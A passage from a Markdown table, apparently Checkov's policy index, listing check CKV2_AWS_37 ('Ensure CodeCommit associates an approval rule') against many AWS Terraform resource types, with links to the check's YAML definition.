[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1803 | CKV2_AWS_37 | resource | aws_sagemaker_notebook_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1804 | CKV2_AWS_37 | resource | aws_sagemaker_notebook_instance_lifecycle_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1805 | CKV2_AWS_37 | resource | aws_sagemaker_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1806 | CKV2_AWS_37 | resource | aws_sagemaker_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1807 | CKV2_AWS_37 | resource | aws_sagemaker_servicecatalog_portfolio_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1808 | CKV2_AWS_37 | resource | aws_sagemaker_space | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1809 | CKV2_AWS_37 | resource | aws_sagemaker_studio_lifecycle_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1810 | CKV2_AWS_37 | resource | aws_sagemaker_user_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1811 | CKV2_AWS_37 | resource | aws_sagemaker_workforce | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1812 | CKV2_AWS_37 | resource | aws_sagemaker_workteam | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1813 | CKV2_AWS_37 | resource | aws_scheduler_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1814 | CKV2_AWS_37 | resource | aws_scheduler_schedule_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1815 | CKV2_AWS_37 | resource | aws_schemas_discoverer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1816 | CKV2_AWS_37 | resource | aws_schemas_registry | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1817 | CKV2_AWS_37 | resource | aws_schemas_registry_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1818 | CKV2_AWS_37 | resource | aws_schemas_schema | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1819 | CKV2_AWS_37 | resource | aws_secretsmanager_secret | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1820 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1821 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_rotation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1822 | CKV2_AWS_37 | resource | aws_secretsmanager_secret_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1823 | CKV2_AWS_37 | resource | aws_security_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1824 | CKV2_AWS_37 | resource | aws_security_group_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1825 | CKV2_AWS_37 | resource | aws_securityhub_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1826 | CKV2_AWS_37 | resource | aws_securityhub_action_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1827 | CKV2_AWS_37 | resource | aws_securityhub_automation_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1828 | CKV2_AWS_37 | resource | aws_securityhub_configuration_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1829 | CKV2_AWS_37 | resource | aws_securityhub_configuration_policy_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1830 | CKV2_AWS_37 | resource | aws_securityhub_finding_aggregator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1831 | CKV2_AWS_37 | resource | aws_securityhub_insight | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1832 | CKV2_AWS_37 | resource | aws_securityhub_invite_accepter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1833 | CKV2_AWS_37 | resource | aws_securityhub_member | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1834 | CKV2_AWS_37 | resource | aws_securityhub_organization_admin_account | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1835 | CKV2_AWS_37 | resource | aws_securityhub_organization_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1836 | CKV2_AWS_37 | resource | aws_securityhub_product_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1837 | CKV2_AWS_37 | resource | aws_securityhub_standards_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1838 | CKV2_AWS_37 | resource | aws_securityhub_standards_control_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1839 | CKV2_AWS_37 | resource | aws_securityhub_standards_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1840 | CKV2_AWS_37 | resource | aws_securitylake_aws_log_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1841 | CKV2_AWS_37 | resource | aws_securitylake_custom_log_source | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1842 | CKV2_AWS_37 | resource | aws_securitylake_data_lake | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1843 | CKV2_AWS_37 | resource | aws_securitylake_subscriber | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1844 | CKV2_AWS_37 | resource | aws_securitylake_subscriber_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1845 | CKV2_AWS_37 | resource | aws_serverlessapplicationrepository_cloudformation_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1846 | CKV2_AWS_37 | resource | aws_service_discovery_http_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1847 | CKV2_AWS_37 | resource | aws_service_discovery_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1848 | CKV2_AWS_37 | resource | aws_service_discovery_private_dns_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1849 | CKV2_AWS_37 | resource | aws_service_discovery_public_dns_namespace | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1850 | CKV2_AWS_37 | resource | aws_service_discovery_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1851 | CKV2_AWS_37 | resource | aws_servicecatalog_budget_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1852 | CKV2_AWS_37 | resource | aws_servicecatalog_constraint | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1853 | CKV2_AWS_37 | resource | aws_servicecatalog_organizations_access | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1854 | CKV2_AWS_37 | resource | aws_servicecatalog_portfolio | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1855 | CKV2_AWS_37 | resource | aws_servicecatalog_portfolio_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1856 | CKV2_AWS_37 | resource | aws_servicecatalog_principal_portfolio_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1857 | CKV2_AWS_37 | resource | aws_servicecatalog_product | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1858 | CKV2_AWS_37 | resource | aws_servicecatalog_product_portfolio_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1859 | CKV2_AWS_37 | resource | aws_servicecatalog_provisioned_product | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1860 | CKV2_AWS_37 | resource | aws_servicecatalog_provisioning_artifact | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1861 | CKV2_AWS_37 | resource | aws_servicecatalog_service_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1862 | CKV2_AWS_37 | resource | aws_servicecatalog_tag_option | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1863 | CKV2_AWS_37 | resource | aws_servicecatalog_tag_option_resource_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1864 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1865 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_attribute_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1866 | CKV2_AWS_37 | resource | aws_servicecatalogappregistry_attribute_group_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1867 | CKV2_AWS_37 | resource | aws_servicequotas_service_quota | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1868 | CKV2_AWS_37 | resource | aws_servicequotas_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1869 | CKV2_AWS_37 | resource | aws_servicequotas_template_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1870 | CKV2_AWS_37 | resource | aws_ses_active_receipt_rule_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1871 | CKV2_AWS_37 | resource | aws_ses_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1872 | CKV2_AWS_37 | resource | aws_ses_domain_dkim | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1873 | CKV2_AWS_37 | resource | aws_ses_domain_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1874 | CKV2_AWS_37 | resource | aws_ses_domain_identity_verification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1875 | CKV2_AWS_37 | resource | aws_ses_domain_mail_from | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1876 | CKV2_AWS_37 | resource | aws_ses_email_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1877 | CKV2_AWS_37 | resource | aws_ses_event_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1878 | CKV2_AWS_37 | resource | aws_ses_identity_notification_topic | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1879 | CKV2_AWS_37 | resource | aws_ses_identity_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1880 | CKV2_AWS_37 | resource | aws_ses_receipt_filter | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1881 | CKV2_AWS_37 | resource | aws_ses_receipt_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1882 | CKV2_AWS_37 | resource | aws_ses_receipt_rule_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1883 | CKV2_AWS_37 | resource | aws_ses_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1884 | CKV2_AWS_37 | resource | aws_sesv2_account_suppression_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1885 | CKV2_AWS_37 | resource | aws_sesv2_account_vdm_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1886 | CKV2_AWS_37 | resource | aws_sesv2_configuration_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1887 | CKV2_AWS_37 | resource | aws_sesv2_configuration_set_event_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1888 | CKV2_AWS_37 | resource | aws_sesv2_contact_list | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1889 | CKV2_AWS_37 | resource | aws_sesv2_dedicated_ip_assignment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1890 | CKV2_AWS_37 | resource | aws_sesv2_dedicated_ip_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1891 | CKV2_AWS_37 | resource | aws_sesv2_email_identity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1892 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_feedback_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1893 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_mail_from_attributes | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1894 | CKV2_AWS_37 | resource | aws_sesv2_email_identity_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1895 | CKV2_AWS_37 | resource | aws_sfn_activity | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1896 | CKV2_AWS_37 | resource | aws_sfn_alias | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1897 | CKV2_AWS_37 | resource | aws_sfn_state_machine | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1898 | CKV2_AWS_37 | resource | aws_shield_application_layer_automatic_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1899 | CKV2_AWS_37 | resource | aws_shield_drt_access_log_bucket_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1900 | CKV2_AWS_37 | resource | aws_shield_drt_access_role_arn_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1901 | CKV2_AWS_37 | resource | aws_shield_proactive_engagement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1902 | CKV2_AWS_37 | resource | aws_shield_protection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1903 | CKV2_AWS_37 | resource | aws_shield_protection_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1904 | CKV2_AWS_37 | resource | aws_shield_protection_health_check_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1905 | CKV2_AWS_37 | resource | aws_shield_subscription | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 1906 | CKV2_AWS_37 | resource | aws_signer_signing_job | Ensure CodeCommit associates an approval rule | Terraform | 